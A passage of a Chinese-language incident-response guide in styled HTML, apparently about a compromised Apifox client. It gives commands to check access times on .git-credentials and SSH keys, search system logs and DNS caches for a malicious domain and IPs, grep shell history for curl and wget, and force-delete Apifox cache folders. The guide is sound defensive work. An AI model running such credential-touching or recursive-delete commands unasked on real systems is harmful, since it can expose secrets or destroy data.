leaf="">$env:USERPROFILE</span></span><span leaf="">\.git-credentials&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-ErrorAction</span></span><span leaf=""> SilentlyContinue | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Select-Object</span></span><span leaf=""> FullName, LastAccessTime</span></code></pre><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">macOS / Linux</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 查看私钥文件最后访问时间</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">ls</span></span><span leaf=""> -lu ~/.ssh</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">判断标准</span></strong><span leaf="">：</span></p><ul style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);list-style: none;margin: 0px;padding: 0px 0px 0px 1.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 关注 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">id_rsa</span></code><span leaf="">、</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">id_ed25519</span></code><span leaf=""> 等私钥文件（无 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">.pub</span></code><span leaf=""> 后缀）</span></p></li><li style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;text-indent: -1em;display: block;margin: 0.5em 8px;color: rgb(63, 63, 63);"><p><span leaf="">• 如果在 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(0, 152, 116);"><span leaf="">2026-03-04 至 2026-03-22</span></strong><span leaf=""> 期间有非主动操作的访问记录，需高度警惕</span></p></li></ul><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">5.4 方法四：检查系统日志（辅助判断）</span></h3><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">macOS</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 查询包含恶意域名的系统日志</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">log</span></span><span leaf=""> show --predicate </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;eventMessage contains &#34;apifox.it.com&#34;&#39;</span></span><span leaf=""> --last 30d --info --debug</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 查询 DNS 解析记录</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">sudo</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">log</span></span><span leaf=""> show --predicate </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#39;eventMessage contains &#34;apifox.it.com&#34; or eventMessage contains &#34;104.21.2.104&#34; or eventMessage contains &#34;172.67.129.21&#34;&#39;</span></span><span leaf=""> --last 30d</span></code></pre><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Windows</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf=""># 查看 DNS 缓存（需管理员权限）</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">ipconfig</span></span><span leaf=""> /displaydns | </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">findstr</span></span><span leaf=""> &#34;apifox.it.com&#34;</span></code></pre><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Linux</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查历史命令中的可疑记录</span></span><span leaf=""><br/></span><span leaf="">grep -E </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;apifox.it.com|curl|wget&#34;</span></span><span leaf=""> ~/.bash_history ~/.zsh_history 2&gt;/dev/null</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 检查网络连接历史（需要 root）</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">sudo</span></span><span leaf=""> journalctl -u NetworkManager --since </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;2026-03-04&#34;</span></span><span leaf=""> --</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 123, 114);"><span leaf="">until</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;2026-03-23&#34;</span></span><span leaf=""> | grep -i apifox</span></code></pre><hr style="box-sizing: border-box;border: none;height: 1px;color: inherit;margin: 2em 0px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;transform-origin: 0px 0px;transform: scale(1, 0.5);background: linear-gradient(to right, rgba(0, 0, 0, 0), rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0));"/><h3 style="box-sizing: border-box;border-width: 0px 0px 1px 4px;border-style: solid solid dashed;border-color: rgb(229, 229, 229) rgb(229, 229, 229) rgb(0, 152, 116) rgb(0, 152, 116);font-size: 16.8px;font-weight: bold;margin: 2em 8px 0.75em 0px;text-align: left;line-height: 1.2;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;padding-left: 12px;color: rgb(63, 63, 63);"><span leaf="">5.5 清理缓存（建议）</span></h3><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: justify;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">建议清理 Apifox 缓存和残留文件。</span></p><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Windows</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 删除 Apifox 缓存目录</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Remove-Item</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Path</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:APPDATA</span></span><span leaf="">\Apifox&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Recurse</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Force</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-ErrorAction</span></span><span leaf=""> SilentlyContinue</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Remove-Item</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Path</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:LOCALAPPDATA</span></span><span leaf="">\Apifox&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Recurse</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Force</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-ErrorAction</span></span><span leaf=""> SilentlyContinue</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">Remove-Item</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Path</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(165, 214, 255);"><span leaf="">&#34;</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">$env:LOCALAPPDATA</span></span><span leaf="">\com.apifox.app&#34;</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Recurse</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-Force</span></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(121, 192, 255);"><span leaf="">-ErrorAction</span></span><span leaf=""> SilentlyContinue</span></code></pre><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">macOS</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(139, 148, 158);"><span leaf=""># 彻底删除 Apifox 缓存和残留文件</span></span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">rm</span></span><span leaf=""> -rf ~/Library/Application\ Support/Apifox</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">rm</span></span><span leaf=""> -rf ~/Library/Caches/com.apifox.app</span><span leaf=""><br/></span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(255, 166, 87);"><span leaf="">rm</span></span><span leaf=""> -rf ~/Library/Saved\ Application\ State/com.apifox.app.savedState</span></code></pre><h4 style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-size: 15.4px;font-weight: bold;margin: 2em 8px 0.5em;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;color: rgb(0, 152, 116);"><span leaf="">Linux</span></h4><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;box-shadow: rgba(0, 0, 0, 0.05) 0px 0px 10px inset;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg xmlns="http://www.w3.org/2000/svg" version="1.1" x="0px" y="0px" width="45px" height="13px" viewBox="0 0 450 130"><ellipse cx="50" cy="65" rx="50" ry="52" stroke="rgb(220,60,54)" stroke-width="2" fill="rgb(237,108,96)"></ellipse><ellipse cx="225" cy="65" rx="50" ry="52" stroke="rgb(218,151,33)" stroke-width="2" fill="rgb(247,193,81)"></ellipse><ellipse cx="400" cy="65" rx="50" ry="52" stroke="rgb(27,161,37)" stroke-width="2" fill="rgb(100,200,86)"></ellipse></svg></span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 14px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: 